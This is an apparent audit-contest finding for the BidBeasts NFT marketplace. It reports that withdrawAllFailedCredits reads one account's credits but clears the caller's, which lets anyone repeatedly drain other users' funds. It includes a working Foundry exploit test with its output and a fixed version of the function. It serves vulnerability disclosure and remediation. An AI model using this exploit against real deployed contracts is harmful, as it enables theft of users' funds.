Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Failed Transfer Credit Theft - Direct Fund Drainage Vulnerability

jk_sca

Root + Impact

Description

  • The withdrawAllFailedCredits() function is designed to allow users to withdraw their own failed transfer credits that accumulated when direct ETH transfers failed during auction payouts. When the _payout() function encounters a recipient address that cannot receive ETH (such as a contract without payable functions), it credits the amount to failedTransferCredits[recipient] mapping so the user can withdraw it later. The intended behavior is that users should only be able to withdraw their own accumulated credits by calling withdrawAllFailedCredits() with their address as the _receiver parameter, which would read their balance, clear their balance, and send the ETH to their address.

  • The withdrawAllFailedCredits() function contains a critical parameter mismatch that enables direct fund theft. The function reads the credit balance from failedTransferCredits[_receiver] (the parameter), but incorrectly clears the balance from failedTransferCredits[msg.sender] (the caller) and sends the funds to msg.sender. This means an attacker can call withdrawAllFailedCredits(victim_address) to steal the victim's entire failed transfer credit balance while their own credit balance (which is typically 0) gets cleared instead. Since the victim's balance is never actually cleared, the same attack can be repeated infinitely until the contract's ETH is completely drained, making this a critical fund drainage vulnerability affecting any user with accumulated failed transfer credits.

    ​
    ​
    /**
    * @notice Allows users to withdraw funds that failed to be transferred directly.
    */
    function withdrawAllFailedCredits(address _receiver) external {
    @> uint256 amount = failedTransferCredits[_receiver]; // READS from _receiver parameter
    require(amount > 0, "No credits to withdraw");
    @> failedTransferCredits[msg.sender] = 0; // CLEARS msg.sender balance
    @> (bool success, ) = payable(msg.sender).call{value: amount}(""); // SENDS to msg.sender
    require(success, "Withdraw failed");
    }
    ​
    // The vulnerability is the parameter mismatch:
    // - Line 1: Reads credit balance from _receiver (victim)
    // - Line 3: Clears credit balance of msg.sender (attacker)
    // - Line 4: Sends ETH to msg.sender (attacker)
    //
    // This allows: withdrawAllFailedCredits(victim)
    // Result: Steal victim's ETH, victim's balance unchanged, infinite repeatable
    ​

Risk

Likelihood:

  • Failed transfer credits accumulate naturally during regular NFT marketplace operations when auction payouts to contract addresses fail. The _payout() function automatically credits failedTransferCredits[recipient] whenever payable(recipient).call{value: amount}("") returns false, which occurs commonly when sending ETH to contracts without proper receive/fallback functions, multisig wallets, or accounts with reverted transfers.

  • The withdrawAllFailedCredits() function has no access control restrictions and accepts any address as the _receiver parameter, making it immediately exploitable by any attacker who can identify addresses with non-zero failed transfer credits. Attackers can easily scan the blockchain for users with accumulated credits and execute the theft through simple contract interaction.

Impact:

  • Victims suffer 100% permanent loss of their entitled withdrawal funds with no recovery mechanism. The PoC demonstrated successful theft of 10 ETH from just 2 exploit executions, with the victim's original 5 ETH credit balance remaining unchanged, proving that attackers can drain unlimited amounts while preserving the victim's balance for infinite repeated exploitation until the contract's entire ETH balance is stolen.

  • The vulnerability undermines the entire auction settlement system by making failed transfer credits worthless, as any user's accumulated credits become immediately vulnerable to theft. This creates systemic risk where legitimate users lose trust in the marketplace's ability to handle failed payouts safely, potentially leading to mass abandonment of the platform and destruction of the NFT marketplace

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
​
contract RejectEther {
// Intentionally has no payable receive or fallback to simulate payout failure
}
​
contract FailedCreditTheftPoC is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
RejectEther rejector;
​
address public constant OWNER = address(0x1);
address public constant VICTIM = address(0x2);
address public constant ATTACKER = address(0x3);
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
uint256 public constant BUY_NOW_PRICE = 5 ether;
​
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
rejector = new RejectEther();
vm.stopPrank();
​
vm.deal(VICTIM, STARTING_BALANCE);
vm.deal(ATTACKER, STARTING_BALANCE);
vm.deal(address(market), 10 ether); // Fund contract for payouts
}
​
function test_FailedCreditTheft() public {
// Step 1: Setup victim with failed transfer credits
uint256 victimCredit = 5 ether;
// Directly set victim's failed transfer credits using correct storage slot (5)
vm.store(
address(market),
keccak256(abi.encode(VICTIM, uint256(5))), // failedTransferCredits is at slot 5
bytes32(victimCredit)
);
// Verify victim has credits
uint256 victimInitialCredits = market.failedTransferCredits(VICTIM);
assertEq(victimInitialCredits, victimCredit, "Victim should have failed transfer credits");
// Step 2: Record initial balances
uint256 attackerBalanceBefore = ATTACKER.balance;
uint256 victimBalanceBefore = VICTIM.balance;
uint256 attackerCreditsBefore = market.failedTransferCredits(ATTACKER);
console.log("=== BEFORE EXPLOIT ===");
console.log("Victim failed credits:", victimInitialCredits);
console.log("Attacker balance:", attackerBalanceBefore);
console.log("Attacker credits:", attackerCreditsBefore);
console.log("Victim ETH balance:", victimBalanceBefore);
// Step 3: Execute the exploit
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(VICTIM);
// Step 4: Verify the theft occurred
uint256 attackerBalanceAfter = ATTACKER.balance;
uint256 victimCreditsAfter = market.failedTransferCredits(VICTIM);
uint256 attackerCreditsAfter = market.failedTransferCredits(ATTACKER);
console.log("=== AFTER FIRST EXPLOIT ===");
console.log("Victim failed credits:", victimCreditsAfter);
console.log("Attacker balance:", attackerBalanceAfter);
console.log("Attacker credits:", attackerCreditsAfter);
// Step 5: Prove fund theft
assertEq(attackerBalanceAfter, attackerBalanceBefore + victimCredit, "Attacker should receive victim's ETH");
assertEq(victimCreditsAfter, victimCredit, "Victim's credits should remain unchanged");
assertEq(attackerCreditsAfter, 0, "Attacker's credits should be 0");
// Step 6: Prove repeatability - exploit can be repeated infinitely
console.log("=== REPEATING EXPLOIT ===");
uint256 attackerBalanceBeforeRepeat = ATTACKER.balance;
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(VICTIM);
uint256 attackerBalanceAfterRepeat = ATTACKER.balance;
uint256 victimCreditsAfterRepeat = market.failedTransferCredits(VICTIM);
console.log("Victim failed credits after repeat:", victimCreditsAfterRepeat);
console.log("Attacker balance after repeat:", attackerBalanceAfterRepeat);
// Verify second theft
assertEq(attackerBalanceAfterRepeat, attackerBalanceBeforeRepeat + victimCredit, "Second theft successful");
assertEq(victimCreditsAfterRepeat, victimCredit, "Victim's credits still unchanged after repeat");
// Step 7: Demonstrate total loss
uint256 totalStolen = attackerBalanceAfterRepeat - attackerBalanceBefore;
console.log("Total ETH stolen from 2 exploits:", totalStolen);
assertEq(totalStolen, 2 * victimCredit, "Total stolen should be double the victim's credits");
console.log("=== EXPLOIT SUCCESSFUL ===");
console.log("Critical Vulnerability: Parameter mismatch in withdrawAllFailedCredits");
console.log("Impact: Infinite drainage of any victim's failed transfer credits");
console.log("Root Cause: Function reads _receiver balance but clears msg.sender balance");
}
}
​
forge test --match-test test_FailedCreditTheft -vv
[⠰] Compiling...
[⠘] Compiling 1 files with Solc 0.8.20
[⠃] Solc 0.8.20 finished in 357.26ms
Compiler run successful!
​
Ran 1 test for test/FailedCreditTheft.t.sol:FailedCreditTheftPoC
[PASS] test_FailedCreditTheft() (gas: 59154)
Logs:
=== BEFORE EXPLOIT ===
Victim failed credits: 5000000000000000000
Attacker balance: 100000000000000000000
Attacker credits: 0
Victim ETH balance: 100000000000000000000
=== AFTER FIRST EXPLOIT ===
Victim failed credits: 5000000000000000000
Attacker balance: 105000000000000000000
Attacker credits: 0
=== REPEATING EXPLOIT ===
Victim failed credits after repeat: 5000000000000000000
Attacker balance after repeat: 110000000000000000000
Total ETH stolen from 2 exploits: 10000000000000000000
=== EXPLOIT SUCCESSFUL ===
Critical Vulnerability: Parameter mismatch in withdrawAllFailedCredits
Impact: Infinite drainage of any victim's failed transfer credits
Root Cause: Function reads _receiver balance but clears msg.sender balance
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.15ms (1.69ms CPU time)
​
Ran 1 test suite in 15.41ms (3.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended Mitigation

This mitigation preserves the intended functionality for legitimate users who need to withdraw their own failed transfer credits while completely preventing attackers from accessing other users' balances.

/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
​
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ failedTransferCredits[msg.sender] = 0;
+
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
​
​
​
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.